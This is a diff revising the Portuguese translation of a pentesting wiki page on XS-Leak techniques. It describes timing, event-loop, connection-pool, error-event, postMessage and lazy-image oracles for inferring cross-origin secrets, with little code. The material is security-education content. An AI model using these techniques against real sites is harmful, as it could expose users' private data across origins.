+- **Resumo:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir o tempo que leva para realizar uma solicitação usando `window.open`. Outros relógios podem ser usados.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
 
 ## Com HTML ou Re Injeção
@@ -863,9 +863,9 @@ No entanto, você faz o **bot acessar a página** com algo como
 ```
 #:~:text=SECR
 ```
-Então a página da web será algo como: **`https://victim.com/post.html#:~:text=SECR`**
+A página da web será algo como: **`https://victim.com/post.html#:~:text=SECR`**
 
-Onde post.html contém os caracteres indesejados do atacante e a imagem de carregamento preguiçoso e então o segredo do bot é adicionado.
+Onde post.html contém os caracteres lixo do atacante e a imagem de carregamento preguiçoso e, em seguida, o segredo do bot é adicionado.
 
 O que este texto fará é fazer com que o bot acesse qualquer texto na página que contenha o texto `SECR`. Como esse texto é o segredo e está logo **abaixo da imagem**, a **imagem só será carregada se o segredo adivinhado estiver correto**. Assim, você tem seu oráculo para **exfiltrar o segredo caractere por caractere**.
 
@@ -873,7 +873,7 @@ Algum exemplo de código para explorar isso: [https://gist.github.com/jorgectf/9
 
 ### Carregamento Preguiçoso de Imagem Baseado em Tempo
 
-Se **não for possível carregar uma imagem externa** que poderia indicar ao atacante que a imagem foi carregada, outra opção seria tentar **adivinhar o caractere várias vezes e medir isso**. Se a imagem for carregada, todas as requisições levariam mais tempo do que se a imagem não for carregada. Isso foi o que foi usado na [**solução deste relatório**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **resumido aqui:**
+Se **não for possível carregar uma imagem externa** que possa indicar ao atacante que a imagem foi carregada, outra opção seria tentar **adivinhar o caractere várias vezes e medir isso**. Se a imagem for carregada, todas as requisições levariam mais tempo do que se a imagem não for carregada. Isso foi o que foi usado na [**solução deste relatório**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **resumido aqui:**
 
 {{#ref}}
 xs-search/event-loop-blocking-+-lazy-images.md

src/pentesting-web/xs-search/README.md

@@ -39,7 +39,7 @@ Vários aspectos podem ser analisados para diferenciar os estados da Web Vulner
 - **Mensagens de Erro**: Exceções JavaScript ou páginas de erro especiais podem fornecer informações de vazamento, seja diretamente da mensagem de erro ou diferenciando entre sua presença e ausência.
 - **Limites Globais**: Limitações físicas de um navegador, como capacidade de memória ou outros limites impostos pelo navegador, podem sinalizar quando um limite é alcançado, servindo como uma técnica de vazamento.
 - **Estado Global**: Interações detectáveis com os **estados globais** dos navegadores (por exemplo, a interface History) podem ser exploradas. Por exemplo, o **número de entradas** no histórico de um navegador pode oferecer pistas sobre páginas de origem cruzada.
-- **API de Desempenho**: Esta API fornece **detalhes de desempenho da página atual**, incluindo o tempo de rede para o documento e recursos carregados, permitindo inferências sobre recursos solicitados.
+- **API de Performance**: Esta API fornece **detalhes de desempenho da página atual**, incluindo o tempo de rede para o documento e recursos carregados, permitindo inferências sobre recursos solicitados.
 - **Atributos Legíveis**: Alguns atributos HTML são **legíveis de origem cruzada** e podem ser usados como uma técnica de vazamento. Por exemplo, a propriedade `window.frame.length` permite que o JavaScript conte os frames incluídos em uma página da web de origem cruzada.
 
 ## Ferramenta e Artigo XSinator
@@ -67,7 +67,7 @@ Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks
 - **Diferença Detectável**: Código de Status
 - **Mais informações**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
 - **Resumo**: se tentar carregar um recurso, os eventos onerror/onload são acionados quando o recurso é carregado com sucesso/sem sucesso, é possível descobrir o código de status.
-- **Exemplo de código**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
+- **Exemplo de Código**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
 
 {{#ref}}
 cookie-bomb-+-onerror-xs-leak.md
@@ -88,7 +88,7 @@ Neste caso, se `example.com/404` não for encontrado, `attacker.com/?error` ser
 - **Métodos de Inclusão**: Elementos HTML
 - **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
 - **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
-- **Resumo:** A [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** pode ser usada para medir quanto tempo leva para realizar uma solicitação. No entanto, outros relógios podem ser usados, como a [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) que pode identificar tarefas que estão em execução por mais de 50ms.
+- **Resumo:** A [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** pode ser usada para medir quanto tempo leva para realizar uma solicitação. No entanto, outros relógios podem ser usados, como [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) que pode identificar tarefas que estão em execução por mais de 50ms.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) outro exemplo em:
 
 {{#ref}}
@@ -121,20 +121,20 @@ O tempo necessário para buscar um recurso pode ser medido utilizando os eventos
 - **Resumo:** A [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API pode ser usada para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
 - **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
 
-Foi observado que na ausência de [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), o tempo necessário para uma página e seus subrecursos serem carregados pela rede pode ser medido por um atacante. Essa medição é tipicamente possível porque o manipulador `onload` de um iframe é acionado apenas após a conclusão do carregamento de recursos e da execução de JavaScript. Para contornar a variabilidade introduzida pela execução de scripts, um atacante pode empregar o atributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) dentro do `<iframe>`. A inclusão deste atributo restringe várias funcionalidades, notavelmente a execução de JavaScript, facilitando assim uma medição que é predominantemente influenciada pelo desempenho da rede.
+Foi observado que na ausência de [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), o tempo necessário para uma página e seus subrecursos serem carregados pela rede pode ser medido por um atacante. Essa medição é tipicamente possível porque o manipulador `onload` de um iframe é acionado apenas após a conclusão do carregamento de recursos e da execução de JavaScript. Para contornar a variabilidade introduzida pela execução de scripts, um atacante pode empregar o atributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) dentro do `<iframe>`. A inclusão deste atributo restringe várias funcionalidades, notavelmente a execução de JavaScript, facilitando uma medição que é predominantemente influenciada pelo desempenho da rede.
 ```javascript
 // Example of an iframe with the sandbox attribute
 <iframe src="example.html" sandbox></iframe>
 ```
 ### #ID + error + onload
 
-- **Inclusion Methods**: Frames
-- **Detectable Difference**: Conteúdo da Página
-- **More info**:
-- **Summary**: Se você conseguir fazer a página gerar um erro quando o conteúdo correto for acessado e fazê-la carregar corretamente quando qualquer conteúdo for acessado, então você pode fazer um loop para extrair todas as informações sem medir o tempo.
-- **Code Example**:
+- **Métodos de Inclusão**: Frames
+- **Diferença Detectável**: Conteúdo da Página
+- **Mais informações**:
+- **Resumo**: Se você pode fazer a página gerar um erro quando o conteúdo correto é acessado e fazê-la carregar corretamente quando qualquer conteúdo é acessado, então você pode fazer um loop para extrair todas as informações sem medir o tempo.
+- **Exemplo de Código**:
 
-Suponha que você possa **inserir** a **página** que tem o **conteúdo secreto** **dentro de um Iframe**.
+Suponha que você possa **inserir** a **página** que tem o conteúdo **secreto** **dentro de um Iframe**.
 
 Você pode **fazer a vítima procurar** pelo arquivo que contém "_**flag**_" usando um **Iframe** (exploiting um CSRF, por exemplo). Dentro do Iframe, você sabe que o _**evento onload**_ será **executado sempre pelo menos uma vez**. Então, você pode **mudar** a **URL** do **iframe** mudando apenas o **conteúdo** do **hash** dentro da URL.
 
@@ -147,13 +147,13 @@ Se a primeira URL foi **carregada com sucesso**, então, ao **mudar** a parte do
 
 Então, você pode **distinguir entre** uma página **carregada corretamente** ou uma página que tem um **erro** quando é acessada.
 
-### Javascript Execution
+### Execução de Javascript
 
-- **Inclusion Methods**: Frames
-- **Detectable Difference**: Conteúdo da Página
-- **More info**:
-- **Summary:** Se a **página** está **retornando** o conteúdo **sensível**, **ou** um **conteúdo** que pode ser **controlado** pelo usuário. O usuário poderia definir **código JS válido no caso negativo**, um **load** em cada tentativa dentro de **`<script>`** tags, então em **casos negativos** o **código** dos atacantes é **executado**, e em **casos afirmativos** **nada** será executado.
-- **Code Example:**
+- **Métodos de Inclusão**: Frames
+- **Diferença Detectável**: Conteúdo da Página
+- **Mais informações**:
+- **Resumo:** Se a **página** está **retornando** o conteúdo **sensível**, **ou** um **conteúdo** que pode ser **controlado** pelo usuário. O usuário poderia definir **código JS válido no caso negativo**, um **load** em cada tentativa dentro de **`<script>`** tags, então em **casos negativos** o **código** dos atacantes é **executado**, e em **casos afirmativos** **nada** será executado.
+- **Exemplo de Código:**
 
 {{#ref}}
 javascript-execution-xs-leak.md
@@ -161,98 +161,98 @@ javascript-execution-xs-leak.md
 
 ### CORB - Onerror
 
-- **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Código de Status & Cabeçalhos
-- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
-- **Summary**: **Cross-Origin Read Blocking (CORB)** é uma medida de segurança que impede que páginas da web carreguem certos recursos sensíveis de origem cruzada para proteger contra ataques como **Spectre**. No entanto, os atacantes podem explorar seu comportamento protetor. Quando uma resposta sujeita ao **CORB** retorna um `Content-Type` _**protegido pelo CORB**_ com `nosniff` e um código de status `2xx`, **CORB** remove o corpo e os cabeçalhos da resposta. Atacantes que observam isso podem inferir a combinação do **código de status** (indicando sucesso ou erro) e o `Content-Type` (denotando se está protegido pelo **CORB**), levando a uma possível vazamento de informações.
-- **Code Example:**
+- **Métodos de Inclusão**: Elementos HTML
+- **Diferença Detectável**: Código de Status & Cabeçalhos
+- **Mais informações**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
+- **Resumo**: **Cross-Origin Read Blocking (CORB)** é uma medida de segurança que impede que páginas da web carreguem certos recursos sensíveis de origem cruzada para proteger contra ataques como **Spectre**. No entanto, os atacantes podem explorar seu comportamento protetor. Quando uma resposta sujeita ao **CORB** retorna um `Content-Type` _**protegido pelo CORB**_ com `nosniff` e um código de status `2xx`, **CORB** remove o corpo e os cabeçalhos da resposta. Atacantes que observam isso podem inferir a combinação do **código de status** (indicando sucesso ou erro) e o `Content-Type` (denotando se está protegido pelo **CORB**), levando a uma possível vazamento de informações.
+- **Exemplo de Código**:
 
 Verifique o link de mais informações para mais informações sobre o ataque.
 
 ### onblur
 
-- **Inclusion Methods**: Frames
-- **Detectable Difference**: Conteúdo da Página
-- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
-- **Summary**: Vazar dados sensíveis do atributo id ou nome.
-- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
+- **Métodos de Inclusão**: Frames
+- **Diferença Detectável**: Conteúdo da Página
+- **Mais informações**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
+- **Resumo**: Vazar dados sensíveis do atributo id ou nome.
+- **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
 
 É possível **carregar uma página** dentro de um **iframe** e usar o **`#id_value`** para fazer a página **focar no elemento** do iframe com o id indicado, então se um sinal **`onblur`** for acionado, o elemento ID existe.\
 Você pode realizar o mesmo ataque com tags **`portal`**.
 
 ### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
 
-- **Inclusion Methods**: Frames, Pop-ups
-- **Detectable Difference**: Uso da API
-- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
-- **Summary**: Coletar informações sensíveis de um postMessage ou usar a presença de postMessages como um oráculo para saber o status do usuário na página
-- **Code Example**: `Qualquer código ouvindo todos os postMessages.`
+- **Métodos de Inclusão**: Frames, Pop-ups
+- **Diferença Detectável**: Uso da API
+- **Mais informações**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
+- **Resumo**: Coletar informações sensíveis de um postMessage ou usar a presença de postMessages como um oráculo para saber o status do usuário na página
+- **Exemplo de Código**: `Qualquer código ouvindo todos os postMessages.`
 
-Aplicações frequentemente utilizam [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para se comunicar entre diferentes origens. No entanto, esse método pode inadvertidamente expor **informações sensíveis** se o parâmetro `targetOrigin` não for especificado corretamente, permitindo que qualquer janela receba as mensagens. Além disso, o simples ato de receber uma mensagem pode atuar como um **oráculo**; por exemplo, certas mensagens podem ser enviadas apenas para usuários que estão logados. Portanto, a presença ou ausência dessas mensagens pode revelar informações sobre o estado ou identidade do usuário, como se ele está autenticado ou não.
+Aplicações frequentemente utilizam [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para se comunicar entre diferentes origens. No entanto, esse método pode inadvertidamente expor **informações sensíveis** se o parâmetro `targetOrigin` não for especificado corretamente, permitindo que qualquer janela receba as mensagens. Além disso, o mero ato de receber uma mensagem pode atuar como um **oráculo**; por exemplo, certas mensagens podem ser enviadas apenas para usuários que estão logados. Portanto, a presença ou ausência dessas mensagens pode revelar informações sobre o estado ou identidade do usuário, como se ele está autenticado ou não.
 
-## Global Limits Techniques
+## Técnicas de Limites Globais
 
 ### WebSocket API
 
-- **Inclusion Methods**: Frames, Pop-ups
-- **Detectable Difference**: Uso da API
-- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
-- **Summary**: Exaurir o limite de conexão WebSocket vaza o número de conexões WebSocket de uma página de origem cruzada.
-- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
+- **Métodos de Inclusão**: Frames, Pop-ups
+- **Diferença Detectável**: Uso da API
+- **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
+- **Resumo**: Exaurir o limite de conexão WebSocket vaza o número de conexões WebSocket de uma página de origem cruzada.
+- **Exemplo de Código**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
 
 É possível identificar se, e quantas, **conexões WebSocket uma página alvo usa**. Isso permite que um atacante detecte estados de aplicação e vaze informações ligadas ao número de conexões WebSocket.
 
-Se uma **origem** usar o **máximo de objetos de conexão WebSocket**, independentemente do estado de suas conexões, a criação de **novos objetos resultará em exceções JavaScript**. Para executar esse ataque, o site atacante abre o site alvo em um pop-up ou iframe e então, após o site alvo ter sido carregado, tenta criar o máximo de conexões WebSocket possível. O **número de exceções lançadas** é o **número de conexões WebSocket usadas pela janela do site alvo**.
+Se uma **origem** usa a **quantidade máxima de objetos de conexão WebSocket**, independentemente do estado de suas conexões, a criação de **novos objetos resultará em exceções JavaScript**. Para executar esse ataque, o site atacante abre o site alvo em um pop-up ou iframe e então, após o site alvo ter sido carregado, tenta criar o máximo número de conexões WebSocket possível. O **número de exceções lançadas** é o **número de conexões WebSocket usadas pela janela do site alvo**.
 
 ### Payment API
 
-- **Inclusion Methods**: Frames, Pop-ups
-- **Detectable Difference**: Uso da API
-- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
-- **Summary**: Detectar Pedido de Pagamento porque apenas um pode estar ativo ao mesmo tempo.
-- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
+- **Métodos de Inclusão**: Frames, Pop-ups
+- **Diferença Detectável**: Uso da API
+- **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
+- **Resumo**: Detectar Pedido de Pagamento porque apenas um pode estar ativo ao mesmo tempo.
+- **Exemplo de Código**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
 
 Esse XS-Leak permite que um atacante **detecte quando uma página de origem cruzada inicia um pedido de pagamento**.
 
-Porque **apenas um pedido de pagamento pode estar ativo** ao mesmo tempo, se o site alvo estiver usando a API de Pedido de Pagamento, quaisquer novas tentativas de usar essa API falharão e causarão uma **exceção JavaScript**. O atacante pode explorar isso **tentando periodicamente mostrar a interface da API de Pagamento**. Se uma tentativa causar uma exceção, o site alvo está atualmente usando-a. O atacante pode ocultar essas tentativas periódicas fechando imediatamente a interface após a criação.
+Porque **apenas um pedido de pagamento pode estar ativo** ao mesmo tempo, se o site alvo estiver usando a API de Pedido de Pagamento, quaisquer novas tentativas de usar essa API falharão e causarão uma **exceção JavaScript**. O atacante pode explorar isso **tentando periodicamente mostrar a UI da API de Pagamento**. Se uma tentativa causar uma exceção, o site alvo está atualmente usando-a. O atacante pode ocultar essas tentativas periódicas fechando imediatamente a UI após a criação.
 
-### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
+### Temporização do Loop de Eventos <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
 
-- **Inclusion Methods**:
-- **Detectable Difference**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
-- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
-- **Summary:** Medir o tempo de execução de uma web abusando do loop de eventos JS de thread única.
-- **Code Example**:
+- **Métodos de Inclusão**:
+- **Diferença Detectável**: Temporização (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
+- **Resumo:** Medir o tempo de execução de uma web abusando do loop de eventos JS de thread única.
+- **Exemplo de Código**:
 
 {{#ref}}
 event-loop-blocking-+-lazy-images.md
 {{#endref}}
 
-JavaScript opera em um [loop de eventos de thread única](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), significando que **só pode executar uma tarefa por vez**. Essa característica pode ser explorada para medir **quanto tempo o código de uma origem diferente leva para executar**. Um atacante pode medir o tempo de execução de seu próprio código no loop de eventos ao despachar continuamente eventos com propriedades fixas. Esses eventos serão processados quando o pool de eventos estiver vazio. Se outras origens também estiverem despachando eventos para o mesmo pool, um **atacante pode inferir o tempo que leva para esses eventos externos serem executados observando atrasos na execução de suas próprias tarefas**. Esse método de monitoramento do loop de eventos para atrasos pode revelar o tempo de execução do código de diferentes origens, potencialmente expondo informações sensíveis.
+JavaScript opera em um [modelo de concorrência de loop de eventos de thread única](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), significando que **ele só pode executar uma tarefa por vez**. Essa característica pode ser explorada para avaliar **quanto tempo o código de uma origem diferente leva para executar**. Um atacante pode medir o tempo de execução de seu próprio código no loop de eventos ao despachar continuamente eventos com propriedades fixas. Esses eventos serão processados quando o pool de eventos estiver vazio. Se outras origens também estiverem despachando eventos para o mesmo pool, um **atacante pode inferir o tempo que leva para esses eventos externos serem executados observando atrasos na execução de suas próprias tarefas**. Esse método de monitoramento do loop de eventos para atrasos pode revelar o tempo de execução do código de diferentes origens, potencialmente expondo informações sensíveis.
 
 > [!WARNING]
-> Em um tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
+> Em uma temporização de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
 
-### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
+### Loop de Eventos Ocupado <a href="#busy-event-loop" id="busy-event-loop"></a>
 
-- **Inclusion Methods**:
-- **Detectable Difference**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
-- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
-- **Summary:** Um método para medir o tempo de execução de uma operação web envolve bloquear intencionalmente o loop de eventos de uma thread e então medir **quanto tempo leva para o loop de eventos ficar disponível novamente**. Ao inserir uma operação de bloqueio (como um cálculo longo ou uma chamada de API síncrona) no loop de eventos e monitorar o tempo que leva para o código subsequente começar a ser executado, pode-se inferir a duração das tarefas que estavam sendo executadas no loop de eventos durante o período de bloqueio. Essa técnica aproveita a natureza de thread única do loop de eventos do JavaScript, onde as tarefas são executadas sequencialmente, e pode fornecer insights sobre o desempenho ou comportamento de outras operações que compartilham a mesma thread.
-- **Code Example**:
+- **Métodos de Inclusão**:
+- **Diferença Detectável**: Temporização (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
+- **Resumo:** Um método para medir o tempo de execução de uma operação web envolve bloquear intencionalmente o loop de eventos de uma thread e então medir **quanto tempo leva para o loop de eventos ficar disponível novamente**. Ao inserir uma operação de bloqueio (como um cálculo longo ou uma chamada de API síncrona) no loop de eventos e monitorar o tempo que leva para o código subsequente começar a ser executado, pode-se inferir a duração das tarefas que estavam sendo executadas no loop de eventos durante o período de bloqueio. Essa técnica aproveita a natureza de thread única do loop de eventos do JavaScript, onde as tarefas são executadas sequencialmente, e pode fornecer insights sobre o desempenho ou comportamento de outras operações que compartilham a mesma thread.
+- **Exemplo de Código**:
 
-Uma vantagem significativa da técnica de medir o tempo de execução bloqueando o loop de eventos é seu potencial para contornar a **Isolação de Site**. **Isolação de Site** é um recurso de segurança que separa diferentes sites em processos separados, visando impedir que sites maliciosos acessem diretamente dados sensíveis de outros sites. No entanto, ao influenciar o tempo de execução de outra origem através do loop de eventos compartilhado, um atacante pode indiretamente extrair informações sobre as atividades daquela origem. Esse método não depende do acesso direto aos dados da outra origem, mas sim observa o impacto das atividades daquela origem no loop de eventos compartilhado, assim evitando as barreiras protetoras estabelecidas pela **Isolação de Site**.
+Uma vantagem significativa da técnica de medir o tempo de execução bloqueando o loop de eventos é seu potencial para contornar a **Isolação de Site**. **Isolação de Site** é um recurso de segurança que separa diferentes sites em processos separados, visando impedir que sites maliciosos acessem diretamente dados sensíveis de outros sites. No entanto, ao influenciar a temporização de execução de outra origem através do loop de eventos compartilhado, um atacante pode indiretamente extrair informações sobre as atividades daquela origem. Esse método não depende de acesso direto aos dados da outra origem, mas sim observa o impacto das atividades daquela origem no loop de eventos compartilhado, assim evitando as barreiras protetoras estabelecidas pela **Isolação de Site**.
 
 > [!WARNING]
-> Em um tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
+> Em uma temporização de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
 
-### Connection Pool
+### Pool de Conexão
 
-- **Inclusion Methods**: JavaScript Requests
-- **Detectable Difference**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
-- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
-- **Summary:** Um atacante poderia bloquear todos os sockets, exceto 1, carregar a web alvo e ao mesmo tempo carregar outra página, o tempo até a última página começar a carregar é o tempo que a página alvo levou para carregar.
-- **Code Example**:
+- **Métodos de Inclusão**: Requisições JavaScript
+- **Diferença Detectável**: Temporização (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
+- **Resumo:** Um atacante poderia bloquear todos os sockets, exceto 1, carregar a web alvo e ao mesmo tempo carregar outra página, o tempo até a última página começar a carregar é o tempo que a página alvo levou para carregar.
+- **Exemplo de Código**:
 
 {{#ref}}
 connection-pool-example.md
@@ -263,166 +263,166 @@ Os navegadores utilizam sockets para comunicação com o servidor, mas devido ao
 1. Determinar o limite de sockets do navegador, por exemplo, 256 sockets globais.
 2. Ocupando 255 sockets por um longo período iniciando 255 requisições para vários hosts, projetadas para manter as conexões abertas sem completar.
 3. Usar o 256º socket para enviar uma requisição para a página alvo.
-4. Tentar uma 257ª requisição para um host diferente. Dado que todos os sockets estão em uso (conforme os passos 2 e 3), essa requisição será enfileirada até que um socket fique disponível. O atraso antes que essa requisição prossiga fornece ao atacante informações de tempo sobre a atividade de rede relacionada ao socket do 256º (o socket da página alvo). Essa inferência é possível porque os 255 sockets do passo 2 ainda estão ocupados, implicando que qualquer socket recém-disponível deve ser o que foi liberado do passo 3. O tempo que leva para o 256º socket ficar disponível está, portanto, diretamente ligado ao tempo necessário para a requisição à página alvo ser concluída.
+4. Tentar uma 257ª requisição para um host diferente. Dado que todos os sockets estão em uso (conforme os passos 2 e 3), essa requisição será enfileirada até que um socket fique disponível. O atraso antes que essa requisição prossiga fornece ao atacante informações de temporização sobre a atividade de rede relacionada ao socket do 256º (o socket da página alvo). Essa inferência é possível porque os 255 sockets do passo 2 ainda estão ocupados, implicando que qualquer socket recém-disponível deve ser o que foi liberado do passo 3. O tempo que leva para o 256º socket ficar disponível está, portanto, diretamente ligado ao tempo necessário para a requisição à página alvo ser concluída.
 
 Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 
-### Connection Pool by Destination
+### Pool de Conexão por Destino
 
-- **Inclusion Methods**: JavaScript Requests
-- **Detectable Difference**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
-- **More info**:
-- **Summary:** É como a técnica anterior, mas em vez de usar todos os sockets, o **Google Chrome** impõe um limite de **6 requisições concorrentes para a mesma origem**. Se nós **bloqueamos 5** e então **lançamos uma 6ª** requisição, podemos **medir** e se conseguimos fazer a **página da vítima enviar** mais **requisições** para o mesmo endpoint para detectar um **status** da **página**, a **6ª requisição** levará **mais tempo** e podemos detectá-la.
+- **Métodos de Inclusão**: Requisições JavaScript
+- **Diferença Detectável**: Temporização (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Mais informações**:
+- **Resumo:** É como a técnica anterior, mas em vez de usar todos os sockets, o **Google Chrome** impõe um limite de **6 requisições concorrentes para a mesma origem**. Se nós **bloqueamos 5** e então **lançamos uma 6ª** requisição, podemos **temporizar** e se conseguimos fazer a **página da vítima enviar** mais **requisições** para o mesmo endpoint para detectar um **status** da **página**, a **6ª requisição** levará **mais tempo** e podemos detectá-la.
 
-## Performance API Techniques
+## Técnicas da API de Desempenho
 
 A [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) oferece insights sobre as métricas de desempenho de aplicações web, ainda mais enriquecida pela [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). A Resource Timing API permite o monitoramento de tempos detalhados de requisições de rede, como a duração das requisições. Notavelmente, quando os servidores incluem o cabeçalho `Timing-Allow-Origin: *` em suas respostas, dados adicionais como o tamanho da transferência e o tempo de busca de domínio se tornam disponíveis.
 
-Essa riqueza de dados pode ser recuperada através de métodos como [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) ou [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fornecendo uma visão abrangente das informações relacionadas ao desempenho. Além disso, a API facilita a medição dos tempos de execução calculando a diferença entre os timestamps obtidos de [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). No entanto, vale a pena notar que para certas operações em navegadores como o Chrome, a precisão de `performance.now()` pode ser limitada a milissegundos, o que pode afetar a granularidade das medições de tempo.
